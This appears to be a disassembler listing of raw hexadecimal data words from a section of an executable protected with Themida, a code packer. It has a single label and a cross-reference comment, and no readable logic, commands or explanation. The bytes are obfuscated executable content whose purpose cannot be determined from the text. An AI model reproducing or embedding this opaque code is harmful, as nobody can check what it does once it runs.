0A8C52ABh, 0F4DD17F2h, 27C866A7h, 9E9h, 0ED2A8E00h dd 50h, 0AE90000h, 0A000005h, 667C1032h, 0C3D96D8Dh, 2339CDE7h dd 869C3044h, 22FB8FABh, 8CA883DCh, 0EA08E2F8h, 4C624056h dd 0ADC5A2B8h, 39B66619h, 13AE0342h, 923CCB10h, 0C5FD19F4h dd 21FE182Ah, 84DDFDD6h, 90A37E4Ch, 42A06C13h, 3181EA14h dd 42A0CFB4h, 0C9228B14h, 0F7421F35h, 2EC9011Bh, 0A90B9DD5h dd 42A0572Ch, 889A0314h, 4179916Eh, 427A9A73h, 3A2561DEh dd 9BB1455Dh, 0FD13A7BDh, 3D1091Fh, 1CD30B29h, 0BC5A0145h dd 0F590C8DEh, 0A05328A5h, 96FF1442h, 768C6A84h, 8C6A08E2h dd 91A33E76h, 4A829A77h, 42A0E39Dh, 4303C014h, 5C11E41Bh dd 3A14B2E0h, 33D01015h, 9EF7C991h, 1AB9CB66h, 7Ch, 5A795643h dd 81050D58h, 601794FAh, 0EE144225h, 83D32C85h, 0B7EF09E5h dd 0BEF60AE9h, 0F2B8CA23h, 4225B845h, 0F8AC6914h, 5B8C3BC4h dd 0A9CE0h, 4ABC0000h, 0FF2EE8A1h, 74495B53h, 0C8667D56h dd 9F64CFEFh, 1442A0h, 4EB70826h, 16EFBDF5h, 8D34A6F6h dd 7FA6EEA7h, 0FE1CF682h, 795826ECh, 4CC92D65h, 0E8C36118h dd 0C7A0BACCh, 20FD13A7h, 289A7408h, 719E9F55h, 0C69BAD23h dd 275F7B56h, 28608059h, 0FA6521EAh, 596F031Fh, 5E2C647Ch dd 62306882h, 0F77487h, 0CE1442A0h, 6D40C65h, 72D60E2Ch dd 0F0CEB1F5h, 182981DAh, 0FFF306Ch, 8EF8E05Ch, 21000000h dd 275F7B56h, 775C7D59h, 64F52831h, 50B4EC45h, 0FF17F492h dd 291450EDh, 626FF4Eh, 7EFB5DADh, 144297F9h, 0D4C7E555h dd 566E428Ah, 0EFC9EBFDh, 0D25E7251h, 8A3DBF7h, 0E501DCF6h dd 0EC00DFADh, 0F00AE6B4h, 0F50DEAB8h, 772F06BDh, 0B8112D08h dd 67174F60h, 0E05BACC8h, 482FAC0Eh, 61442C9h, 1A36119Dh dd 526908h, 56920000h, 59275F7Bh, 0B315657Bh, 42A04136h dd 54A40D14h, 42A020D7h, 3345AE14h, 5D098C6Dh, 57EB07E2h dd 16F49286h, 0FBD4EE00h, 7311A3DBh, 0A8437B99h, 7B47E48h dd 5E702162h, 42599B65h, 9BCB8814h, 5B181CE3h, 6B9E0h dd 3BD90000h, 5C314361h, 10607A56h, 0A04A31AEh, 0A8081442h dd 42A0542Bh, 40990214h, 0BD9A682Eh, 0DBB755A5h, 0A0B64DCAh dd 0BB241442h, 0D38A5062h, 0F9D548FCh, 571D8FDFh, 0E7418AAFh dd 2214355h, 54D1218Dh, 13A6271Eh, 6D3B73DCh, 0CEE47890h dd 0F4A1D9F1h, 13A64809h, 3A19B77Bh, 0A3FC18F3h, 21BED06Bh dd 0E1DFA65h, 0A648EA91h, 0A6FF6813h, 71FFC12h, 0C09F3DCFh dd 0A3809AACh, 4C15538Bh, 30482518h, 293AC59Ch, 3B9BD877h dd 0C4000001h, 1C6C424Dh, 23431CBAh, 42A0C3B8h, 14268F14h dd 0F572D436h, 1442A00Eh, 585163CCh, 13A6BE86h, 896EEB4Dh dd 4513A6BEh, 58B1CFA9h, 0C6FE6746h, 6F031BF8h, 505D7C59h dd 0E56403BEh, 0E901F673h, 64CD13A6h, 0C462B20Bh, 0C896CEE8h dd 6779D2ECh, 0DEF6D3A1h, 0E79F68A6h, 94942B4h, 9C3E10C6h dd 7B93708Ah, 966F0DE7h, 91A33E76h, 772B49B6h, 468ED8h dd 4DB70000h, 9D1A6A44h, 6BBD5F06h, 8176F355h, 4D9442A0h dd 83F3D2E4h, 7D8A388Bh, 65855EFDh, 0E039922Dh, 4104FBA8h dd 5F269442h, 4C622F27h, 0BE187FFCh, 0C537EBBDh, 0DEEAF167h dd 0C1A0B2AFh, 7FF6C458h, 85000000h, 1C6C424Dh, 0A6B9F59Fh dd 0B2B9B13h, 557B5A1Bh, 0D09ED62Fh, 3147DBF3h, 57043C54h dd 13A6C25Bh, 312C58DBh, 89A83C54h, 0F658A806h, 0A6C38279h dd 0D5E75013h, 60277AF7h, 93F3144Ah, 0C7FF19F5h, 0A73AC12Ch dd 2F981B93h, 6E0C9ED6h, 0A7427A90h, 869E7B95h, 84C0974Eh dd 3BB8FF90h, 1B93A744h, 50A912h, 826009Eh, 4A4FDF6h, 0D761C7Fh dd 23019F79h, 1F191A06h, 25BF81Dh, 424D1BF0h, 3A135A39h dd 1868C11Ah, 0A5FB44B6h, 0FA5A7450h, 4166C22h, 0AE25D60Bh dd 0E31B8413h, 8D72EF51h, 4913AE69h, 0D7B4CEE0h, 900D6FBFh dd 13AE69EBh, 0CAECFE67h, 87BFD7B4h, 0AFEAECDAh, 782CA944h dd 7C102805h, 653E8966h, 0E6B4EC45h, 4BBF307h, 2906792Dh dd 0E25FC111h, 4AACEC1Dh, 1C3E50B9h, 0D9112906h, 353h dd 3E8DE200h, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h dd 0E18951EEh, 4C181h, 0E9810000h, 4, 5C240C87h, 81242489h dd 42404h, 2F680000h, 89000055h, 8950240Ch, 405E0h, 0E8830000h dd 24048704h, 2434895Ch, 0ECA3B468h, 240C8B07h, 4C481h dd 8B540000h, 0C4832434h, 6D236804h, 0C890000h, 8468F24h dd 5724348Bh, 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h dd 0C4815924h, 4, 0F7D542E9h, 5873A2FFh, 0A83EB8E1h, 0C50307ECh dd 20AFE0FFh, 25C358C9h, 34965417h, 3A014A47h, 0EC702D93h dd 0BF361961h, 968D7588h, 5E9E37E8h, 0EBB83ADFh, 68091F69h dd 299D7418h, 1DED1519h, 0F8185FD7h, 71F06D9Ch, 606931DBh dd 76A23434h, 6CB35FD7h, 0C3B119C4h, 0CB675586h, 3B356EA3h dd 3B8329FBh, 1DFF0830h, 7BAD271Bh, 0BA9A54DAh, 458276FAh dd 0ADD254EDh, 640B677Bh, 3A407636h, 36CF7506h, 743274A8h dd 5BD450DAh, 0AE8648Eh, 0BB000000h, 703EAE31h, 7F438DEDh dd 38D0F5Ch, 51000000h, 815B5FFCh, 5F86C3h, 6800h, 0CF8B0000h dd 0D88A6058h, 1834FF61h, 0CFC78166h, 830F5EA6h, 2, 0C68106B6h dd 190949F6h, 0CB9F281h, 0F681117Ah, 2D64BEE5h, 68C0Fh dd 0D1810000h, 6B45BCD9h, 0C800C681h, 89FC0A3Dh, 0C7810334h dd 3797AA29h, 81FBBF0Fh, 831550E8h, 0D3B70F07h, 154CC081h dd 0FE80783h, 0D8000000h, 40ED3571h, 0B5F87951h, 0F40897E0h dd 8B666220h, 0F8815AD0h, 0FFFFA114h, 0FF8B850Fh, 0BF0FFFFFh dd 10EBD1h, 3 dup(0) dd 8B000000h, 0E68166C0h, 0BD83DE24h, 7E413F1h, 83097500h dd 0E40935BDh, 19740007h, 0C08B5350h, 42DB8h, 79858900h dd 8D07E414h, 0E6E9F09Dh, 5BD3FF07h, 35BD8358h, 7E409h dd 53501774h, 42DB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh dd 5BD3FF07h, 9B6EBE58h, 958B3C79h, 7E404DDh, 0D08BC08Bh dd 8D8D8Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0C843C8C3h, 94280B7Ah, 81662EA5h dd 8358EDE2h, 840F00F9h, 5Ch, 0B3E8BE66h, 2C3D8B64h, 66000000h dd 1BCBF281h, 840FFF0Bh, 44h, 26918D29h, 3F8B07E4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 80FE38BFh dd 890182E3h, 0E4222995h, 8BC03207h, 0E40D8995h, 66AAF307h dd 9531D08Bh, 7E42469h, 50414935h, 0DE953h, 97B30000h dd 439E6665h, 610537C6h, 0C694BBA2h, 0E42C2D85h, 6A4707h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 2E741FC3h, 52B8C114h, 0C568ABEBh, 0F8D2A9Dh, 587h, 0C8B2BA00h dd 34810970h, 0FC15E924h, 94DABA51h, 952B54A9h, 7E401B1h dd 2141B5FFh, 5DB607E4h, 0B0A7858Dh, 0BD8907E7h, 7E42B4Dh dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 27FD55C3h, 958B5028h, 7E42211h, 0A618589h dd 0B58907E4h, 7E413D1h, 2C2D85C6h, 665307E4h, 688B2DBAh dd 72FE6EA5h, 48100B6h, 99FC5724h, 0B5FFF515h, 7E42141h dd 8810Fh, 860F0000h, 2, 858D38B6h, 7E7B0A7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 53C35646h, 8918AA51h dd 0E42BDDBDh, 89D0FF07h, 0E42BE985h, 26858D07h, 6007E770h dd 2E159533h, 860F07E4h, 6, 26E59D8Bh, 896107E4h, 0E4160185h dd 898D8907h, 6A07E42Fh, 0FFFF6A20h, 0E4160195h, 41493507h dd 85C75350h, 7E4038Dh, 1, 2B6585C7h, 7E4h, 10E90000h dd 43000000h, 4010180Dh, 0E5ACCF5Ah, 4043809Eh, 6ABEC357h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0E261C355h, 8BF9EF22h, 0E4301985h, 68D0F07h dd 2B000000h, 0E4069995h, 0A36407h, 83000000h, 0E4015DBDh dd 840F0007h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 5EC35343h, 550960D0h, 0BD895822h, 7E42F89h dd 0AB9858Bh, 0B50307E4h, 7E42BA9h, 8E0FE08Bh, 11h, 6E8h dd 0F835DA00h, 0BA8134C1h, 6EFA8A38h, 65BD835Eh, 7E414h dd 3F4850Fh, 9D290000h, 7E40565h, 0AE8h, 8724CD00h, 67AAD642h dd 0FB62964h, 0C65EF3B7h, 0E42C2D85h, 8D895607h, 7E42355h dd 74F13F68h, 243481C2h, 6BB1C1E0h, 139DB501h, 0B5FF07E4h dd 7E42141h, 7B5B523h, 858D07E4h, 7E7B0A7h, 0CBAD0FFh dd 506310CAh, 8B665250h, 0BA310FD1h, 496640F8h, 489585Ah dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0F6FD4A91h, 0D2AC862Eh, 2DB58B05h, 8B07E406h dd 0E404D1B5h, 0C18D8D07h, 6A07E426h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1E55C353h dd 26D4BA62h, 8E8h, 60347A00h, 6458804Dh, 0D9958BF8h, 5E07E418h dd 50F78A91h, 8B0F6091h, 5, 719FBCBEh, 0D1816643h, 6A610467h dd 74BA6604h, 6C16832h, 0D38B86ADh, 3F240481h, 0FF795309h dd 0E415DDB5h, 95B58B07h, 0FF07E409h, 51006AD0h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 94DE389Fh, 8D0BE5C3h, 299B501h, 0BD8B07E4h, 7E415DDh dd 6C1BD29h, 7F0307E4h, 53006A3Ch, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 27882F8h, 81D38A2Ah, 0F8C7h dd 2870F00h, 51000000h, 2447C75Ah, 60000020h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F0C35141h, 11E85481h dd 0F6000000h, 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h, 54A55A76h dd 6840Fh, 85890000h, 7E4045Dh, 0E8BD835Ah, 7ECA9h, 11C840Fh dd 6CBE0000h, 830D0CC3h, 6A28C7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0E56D1BC3h, 0F05F6275h dd 9531F5F6h, 7E413B5h, 6A2E07C7h, 0AE96469h, 19000000h dd 2813ADEEh, 622717ECh, 447C729h, 617461h, 858BF38Bh dd 7ECA9F0h, 29B58960h, 8B07E407h, 0E4278D8Dh, 47896107h dd 4585090Ch, 8B07E415h, 0ECA9F485h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 6EC09D9h, 3C74251Ch dd 3810Fh, 0B70F0000h, 27BE66F1h, 8478982h, 8870Fh, 890F0000h dd 2, 0C7835A57h, 0FDB58928h, 0C707E41Ch, 6F632E07h, 0FE9606Eh dd 0F000000h, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h, 0C76137A2h dd 69660447h, 9D310067h, 7E41AC9h, 3F9F78BEh, 0EC858B22h dd 0E907ECA9h, 10h, 0C60ADFDh, 4F11766h, 43ECF464h, 88E8058Ch dd 8B0C4789h, 0ECA9E885h, 0FFBE6607h, 8478978h, 1B9D8D89h dd 6A5807E4h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 4D4EC352h, 0A98D0960h, 6607E422h dd 0D4E2DF81h, 6E961h, 2BF40000h, 9B0ED60Eh, 21A58D8Dh dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 17C33EC3h, 6800F24h, 8B000000h, 0E4060DB5h dd 198A0F07h, 0F000000h, 1380h, 0EE900h, 0E5720000h, 0C6D3DDC4h dd 0F29BF47h, 2CE2133Fh, 14E950h, 0BA850000h, 24283B3Dh dd 5C7405F0h, 97A2655Bh, 0E62CBBDAh, 0C890F65h, 9E824h dd 0A84F0000h, 6EF801Ah, 8136E26Dh, 4D49BBF6h, 0B5FF5A4Fh dd 7E426C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0CDC35242h, 89B9E280h, 0E41529BDh, 0ED306807h dd 880F3CB2h, 8, 6660B560h, 61F1F6B8h, 30243481h, 8B3CB2FDh dd 0E401F595h, 23DA8007h, 15DDB5FFh, 0D0FF07E4h, 989958Bh dd 0B807E4h, 0E9000000h, 0Fh, 108923D2h, 63B0236Bh, 0A8AC643Ch dd 0F7A57F1h, 88Ah, 0B58B5000h, 7E425A1h, 0FC00B5Ah, 5D84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0EC75106h, 5860Fh, 81660000h, 50CFDCD2h dd 12E9h, 767E1400h, 31281E1Bh, 11A7459Dh, 29EAB36Dh, 5E2332CCh dd 0DA1B5FFh, 850107E4h, 7E42145h, 1915950Bh, 95FF07E4h dd 7E43061h, 0C08B64B2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 3FC35242h, 0BD95899Dh, 8307E407h, 0E413F1BDh dd 9750007h, 935BD83h, 740007E4h, 8B535019h, 42DB8C0h dd 85890000h, 7E40EEDh, 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh dd 7E40935h, 50177400h, 42DB853h, 85890000h, 7E40EEDh dd 0E6F89D8Dh, 0D3FF07E6h, 11BE585Bh, 0F63EE1Ah, 686h dd 0E9952B00h dd 0E907E406h, 11h, 28E3C667h, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh dd 8BC08B0Eh, 0E42A6195h, 8DC08B07h, 0ECB2BD8Dh, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 65194A15h, 9A8B2D48h, 0F5B58BB0h, 8B07E424h, 0E40AE1BDh dd 718D8907h, 2B07E41Bh, 0E40D3595h, 0A185C707h, 2807E42Dh dd 0F900005Ch, 22B985C7h, 7E4h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F7F5C1C3h dd 29FD8F20h, 9D8960DDh, 7E42669h, 91B5FF61h, 107E422h dd 0E41E4D8Dh, 6195FF07h, 6607E430h, 8B0608BBh, 0E40DC185h dd 0FF006A07h, 0E40E4195h dword_60D748 dd 0EBC08B07h, 3D96876Fh, 0FDCBA7FFh, 8020220Dh, 140F78B5h ; DATA XREF: Themida_:00583FFCo ; Themida_:005842D8o dd 124D8AB0h, 0D3959886h, 6135DDDEh, 6FA28D72h, 83C1A11Bh dd 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 5CAC783Ch, 0FBD09F93h dd 68A0988Bh, 4ED00CCAh, 894FFB04h, 4472EE84h, 1EC72C6h dd 0FD8765EEh, 1B8D3591h, 0B0F8CE8Fh, 4B12306Eh, 5CBE75E9h dd 0D8643805h, 52AB022Bh, 17F20A8Ch, 66A7F4DDh, 8E8h, 0F59E8000h dd 0EFF1509Eh, 810F60A1h, 3, 0FFA8B66h, 5961F2B7h, 99CA8166h dd 69C181C1h, 0B000067h, 0E401D5BDh, 19B4BE07h, 858B0000h dd 7E43329h, 958B31FFh, 7E42FD5h, 81D38B5Bh, 3A383BEBh dd 0E3EB8134h, 8B6847E9h, 0E41E19BDh, 0CFEB8107h, 0E945A4CDh dd 12h, 50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch, 5B24E14Dh, 19893EADh dd 3850Fh, 8B660000h, 62E981FEh, 8B66BE6Fh, 0E41DE595h dd 5EC18107h, 8966BE6Fh, 0E425B5B5h, 850F4E07h, 0FFFFFF9Ch dd 0BE7FD081h, 0EB1861h, 3BAE9h, 36583000h, 93B38CA2h dd 0F30DE9FFh, 566A495Fh, 0B5D1ACC2h, 0A9A24821h, 81EB2CEh dd 667C102Eh, 0C8DE7288h, 8C3FD3EBh, 13985FDCh, 0F13613AEh dd 5D7D5662h, 0BDD7B3C9h, 20341329h, 7F9B768Ch, 0ABFAD5EBh dd 0E17CB4D0h, 28607855h, 8AA0348Dh, 0E04292B0h, 42A09C63h dd 0C39E3A14h, 10EE4EA7h, 0A723E585h, 0DFB9DBEDh, 0DC56096Dh dd 1C2EDD76h, 7A0E2402h, 0DB6F8764h, 6D876301h, 8F889A35h dd 13A972DAh, 5C394254h, 5F3E0C44h, 0F7A9134Bh, 4E608059h dd 0F1415534h, 0D84DE17Fh, 0F2392490h, 0B9046418h, 8DAFC116h dd 203815B3h, 183B4DE8h, 6AE73777h, 144AC2C0h, 5BED258Eh dd 0B791E4BDh, 6DC66199h, 6E8E6735h, 710A0315h, 0D61B92CCh dd 3CDA81C5h, 7510485Eh, 0FF43DC15h, 3C4EEB50h, 8B809E61h dd 0F237D0h, 56600000h, 14EB687Bh, 0C21442A0h, 5DC80059h dd 0C6953BADh, 0B8FEB004h, 0A04BC8A6h, 2E14425Bh, 90375C5h dd 9E7F08E4h, 0E9B77D8Fh, 86FCED0Ch, 19077BCFh, 39162CC0h dd 5633D121h, 0ACDE4537h, 0BD165FBEh, 0BEDEB785h, 0B68D5365h dd 885D5D9h, 13A604AAh, 283C1BB9h, 67A45BD8h, 0C93213A6h dd 376FD8B7h, 82FDA980h, 0DAF98DA5h, 2CA9F9B5h, 14427C86h dd 445837D5h, 0AFC1DDB8h, 612F67D0h, 0C0D66A86h, 0BA91C9E5h dd 2587D7D7h, 0AF8E7CB3h, 0E984BCD0h, 4FA13D89h, 1C8F443Dh dd 0E24B1B8Ah, 4E602F4Eh, 77F81FEh, 6CD51C6Eh, 6F8B6634h dd 708F01DBh, 74EC8749h, 0F3CEE8FAh, 6F0D9FD7h, 41647696h dd 910E5E50h, 3EE7AD6h, 626FF9Dh, 4E869C7Ah, 52C2A1B3h dd 0DD516Ch, 0B515B0E8h, 267F4515h, 85A17C92h, 38B517F1h dd 3EE6443h, 0BF94A60Fh, 1C6C424Dh, 0A6BE699Fh, 86BE2713h dd 2FC3DBB8h, 96FB4D08h, 811F0F18h, 0B8538BA5h, 0BFD2ADA6h dd 684513A6h, 0BF27DC59h, 9B7813A6h, 5FB04B83h, 2F099DF6h dd 37552FCDh, 0A6BF37CCh, 283AA313h, 0E119310Eh, 0BCD4B14Fh dd 9BB390AAh, 285C2563h, 0AC405835h, 77F22AD5h, 47ABD8h dd 4DD40000h, 9F1C6C42h, 13A6B501h, 0BCD6B250h, 845DE984h dd 7F912C64h, 49E737A0h, 34F3536Dh, 56501364h, 0D09E6476h dd 0ED8BDBF3h, 0D3E7C60Fh, 1BA7427Ah, 53EE263Eh, 0D3451F41h dd 8BE17342h, 693B4D68h, 0Fh, 16F492F8h, 0F5D4EE00h, 0FEDBA9E1h dd 568152E6h, 1CCF6377h, 0A004EF6Ch, 2DCB1442h, 43223454h dd 0F7D4A2DAh, 0FED9A7DFh, 0DCAAE2h, 647E5AE6h, 0E69E752Ch dd 265E35AAh, 0A001F673h, 0B4921442h, 0BBE44D9Eh, 0A0E58E0Bh dd 0CC6A1442h, 0E3C2D4F2h, 0A0710683h, 6DDD1442h, 0AF33DCh dd 0AC055E30h, 0A918DF5Ch, 4DB61442h, 0AEC6A3B9h, 0A2C5811Ah dd 14h, 53209231h, 51138C6Ah, 22FF192Bh, 2704D20Ah, 4D9C7B0Fh dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 60C168EEh dd 8F540000h, 4812404h, 424h, 43336800h, 4890000h, 0E7895724h dd 4C781h, 0EF810000h, 4, 5C243C87h, 68243489h, 79E7h dd 68241489h, 68D9715Ah, 4AD2F75Ah, 0DACAEA81h, 0D0898F39h dd 4EC835Ah, 81242489h, 42404h, 685E0000h, 309Ch, 8F240489h dd 34FF0846h, 0C4835E24h, 24048B04h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0E95C243Ch, 0FFF7C673h, 0F1CCD6CCh, 6C33A553h dd 0B8E45EA6h, 7ECB706h, 0E0FFC503h, 61CFEC94h, 3BF5C5B0h dd 2867430Ah, 7A18293Eh, 37DD0734h, 38E3D184h, 7A086E2Bh dd 6315E43Eh, 42F6586Bh, 1F6FB61h, 1120F448h, 61DC9889h dd 51BEEBDFh, 562D592Fh, 0E0FFF99h, 5966A6C2h, 158DC9F6h dd 33A23E65h, 4DDF175Fh, 48DF2BDDh, 37997CCCh, 16299B86h dd 0F1E2922h, 7B7E742Bh, 0D8E36ECh, 79435528h, 6DEC4EFFh dd 5AAE6EB8h, 11811170h, 4DA0E87h, 79C28166h, 0D8F4806Dh dd 2800Fh, 0F88A0000h, 68CEBF66h, 66F38B66h, 8BA56BBFh dd 0FE9DFh, 53380000h, 0D39EB622h, 917F6E99h, 0C000CEC7h dd 9E93Ch, 0B3610000h, 9FA3F2BEh, 0E94BD1E0h, 9, 3F46F8D4h dd 0B06C45C0h, 80FA8A92h, 0AE96CE9h, 16000000h, 11A4E64Dh dd 4F9EBACCh, 14810FF2h, 53000000h, 0CE8h, 0A7C0D100h dd 0ECD4F8E2h, 898D8323h, 0B05E5F6Ah, 0F0BF0FD5h, 0FCB8B66h dd 0B70FFFBFh, 0C860FCEh, 0F000000h, 68Ch, 800F00h, 0B1000000h dd 0FB8B66BFh, 3810Fh, 8B660000h, 6890FCAh, 81000000h dd 33A110DBh, 81576061h, 68BE8CAh, 7E95852h, 11000000h dd 3ECFFC22h, 0F6140A7h, 0BF66C1BFh, 8CB7E147h, 7E8FCh dd 37940000h, 0F1542DF3h, 73BA532Bh, 5F50714Dh, 44BE665Ah dd 4F0DBA77h, 9E91B70h, 90000000h, 0B60BF8BFh, 1FF5F955h dd 810F75B1h, 4, 0D038BA66h, 18B0Fh, 0FF50000h, 3FB1CEB7h dd 842B31BAh, 850F13h, 0F000000h, 0DF81FAB7h, 39FD77DAh dd 0FE8B60FCh, 0F1816661h, 0E860AE88h, 0Eh, 865CD10Bh dd 9D3E0532h, 0CAFB617Ch, 0FA8A89DDh, 8166535Fh, 5E7619D3h dd 14E961h, 3E6F0000h, 0D27B6747h, 3F409BAAh, 55CD3C9Ah dd 74B18E8Eh, 0E380B728h, 0EE98Bh, 234E0000h, 175FA65h dd 9F403BD5h, 0F947B0E7h, 8E9h, 0DFAE8000h, 2878487Ah dd 5E9DBh, 0C44F0000h, 80E924FFh, 8B662CC2h, 6E9CBh, 29010000h dd 8F9992A9h, 8B66DF8Bh, 870F60D3h, 2, 0B261EAB6h, 11810F7Bh dd 0E9000000h, 0Ch, 0DB3D1A8Fh, 32353495h, 0B15D2D52h dd 0EF41BA66h, 0FE8F5h, 10340000h, 191DB4ACh, 10E20F96h dd 0EADF9E0Ah, 0FB8B669Dh, 13E959h, 9A4E0000h, 9AD28B65h dd 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h, 0AE85384h, 40000000h dd 4EC84789h, 870A0B2Ch, 13E958h, 0C68D0000h, 5BE1FAE9h dd 0C889EB88h, 9335F770h, 0A5D607C6h, 0F5B5A18h, 0EDB8F2B7h dd 0F479CC4h, 0FF9C8BFh, 1180h, 9E800h, 0C13B0000h, 66750115h dd 0B408E5AEh, 9BBA5AEBh, 52104E89h, 14E8h, 0B6282D00h dd 0F51B2304h, 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0EE851h dd 0ECB20000h, 92221741h, 0CE757984h, 0A9862546h, 665E5F58h dd 0BBB154B8h, 48C85ECAh, 8150FCF5h, 7C9E84E2h, 60F95859h dd 11E9h, 23E0C100h dd 944DAC57h, 0C8F215C8h, 0D2FC57B3h, 0D78B3AF5h, 0C9816661h dd 0F603FA6h, 388h, 0DFBF0F00h, 251DBB66h, 0AE961h, 0F6D10000h dd 0E06BAF6Ah, 5D83F32Dh, 85BB6056h, 0F44595Dh, 5961FEBFh dd 890FC78Bh, 5, 7AE68166h, 3BBBBF20h, 0EAB80DCCh, 0BE5E796Dh dd 1BD0950Ah, 0BE9h, 0DE495000h, 0CAB889FBh, 68DEE47Ch dd 0AE8h, 4AEECC00h, 3AFBF184h, 0FB21CE5h, 38Ah, 0F38B6600h dd 0BE95Fh, 987D0000h, 0C5BB79D2h, 0B46C8967h, 0D681665Dh dd 8AF9C49Bh, 61B956CBh, 58603ECAh, 8C35C181h, 81660F17h dd 0F8B44CE0h, 13E950h, 54EE0000h, 7B759478h, 0C95CA2C8h dd 686906B3h, 960D29CDh, 8B665ADBh, 0D98B66F8h, 13E9FCh dd 0AD8B0000h, 26D8F9EEh, 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah dd 810F607Ch, 0 dd 0DE816660h, 616186EBh, 8B66FCF9h, 0B96660F0h, 61FC75DCh dd 0EE860h, 627A0000h, 18B7DC3Eh, 16F3AAFAh, 891E8A63h dd 66596160h, 0B8CAF081h, 3820F61h, 80000000h, 81667DD0h dd 0E8918DF6h, 8, 0C4A39163h, 0A1E90F03h, 28A0Fh, 5A500000h dd 0F3CF805Ah, 0AE8h, 1B6EBD00h, 0EF368256h, 60DEBC1Ch dd 0C2815953h, 1EC3D9C5h, 0D1B95961h, 0F4F76A0h, 82h, 0AEE38000h dd 14E9h, 53B45A00h, 2417C33Eh, 0B93D0081h, 0C3E248B4h dd 9D2FE3DBh, 0AE9A3h, 51BB0000h, 2C64BC22h, 843AB859h dd 0ACE28166h, 12E85Ch, 71530000h, 959EA0BEh, 0D1719CB9h dd 0CB16CBCAh, 0A6F98412h, 0F59D0B1h, 0BEFCF3BFh, 50EC40B1h dd 0C9B96650h, 8B605EE6h, 5CBA66FAh, 57606102h, 9E9h, 39FBAE00h dd 0E2D20359h, 0E95FF975h, 6, 77337646h, 0E961D231h, 13h dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0F2411ACh dd 0E860C1BFh, 13h, 9B6D89F6h, 0C638F79Dh, 6CEED62Eh, 0A13AAF93h dd 66AC54B2h, 5AF1DEBEh, 0DF806061h, 0F88B66E2h, 0C681FC61h dd 1F8A05B8h, 64E78166h, 0D18B66ABh, 7A3DB866h, 19860Fh dd 840F0000h, 13h, 0EE9h, 25A9500h, 7C34D644h, 47D36C2Eh dd 0BFE5E222h, 6D62F23h, 38E0Fh, 0E4800000h, 12E92Ch, 69B10000h dd 0AA53E051h, 95BFA3D2h, 177D8FA0h, 2E6BED6Eh, 0FF90FB4h dd 83h, 23F68100h, 0F83AEA62h, 0DE9h, 1D7E5D00h, 0D9D1FE6Bh dd 8A46F25h, 8B6676DBh, 34E980DEh, 0D034E0BFh, 0BE6ABB01h dd 0BE95155h, 79000000h, 0FE2EBE37h, 0AEB917BEh, 0BAFC99F6h dd 2333244Ah, 880F5652h, 0 dd 0E951585Ah, 5, 0E65B8723h, 3CB75AEAh, 5E9h, 0CB794200h dd 6652F1DFh, 5FD9E4B8h, 815957F8h, 962163F6h, 8E922h dd 0F3FA0000h, 2F574C66h, 820F0DA1h, 1, 0D6BF0FF9h, 800Fh dd 0D8B60000h, 16840Fh, 0EE80000h, 0C000000h, 4753AB89h dd 0F540B1A2h, 0A76D1D20h, 5A5A5189h, 0EE8166F5h, 0E9F525C0h dd 0Ch, 0FBD90F73h, 5E135B02h, 0FA82B24Fh, 12E8h, 88E14900h dd 0E6B1B0A1h, 25238E10h, 0D0636451h, 0B37DEA3Fh, 0E8605AD6h dd 0Fh, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh, 665372D7h, 5EE7CDBFh dd 0D18161F8h, 226BE35Fh, 94DBDE81h, 7E97EF7h, 8000000h dd 930F4D09h, 27BB49C0h, 667D7135h, 81FB21BAh, 93B3D5E8h dd 12E86025h, 90000000h, 2A5A6D0Eh, 4C92704h, 1A93C9FCh dd 65E03379h, 8B5EF899h, 0BBFC61F8h, 5961B5EFh, 0EFC6D281h dd 0D8801A5Ah, 0FDBA66D9h, 0D68B66EBh, 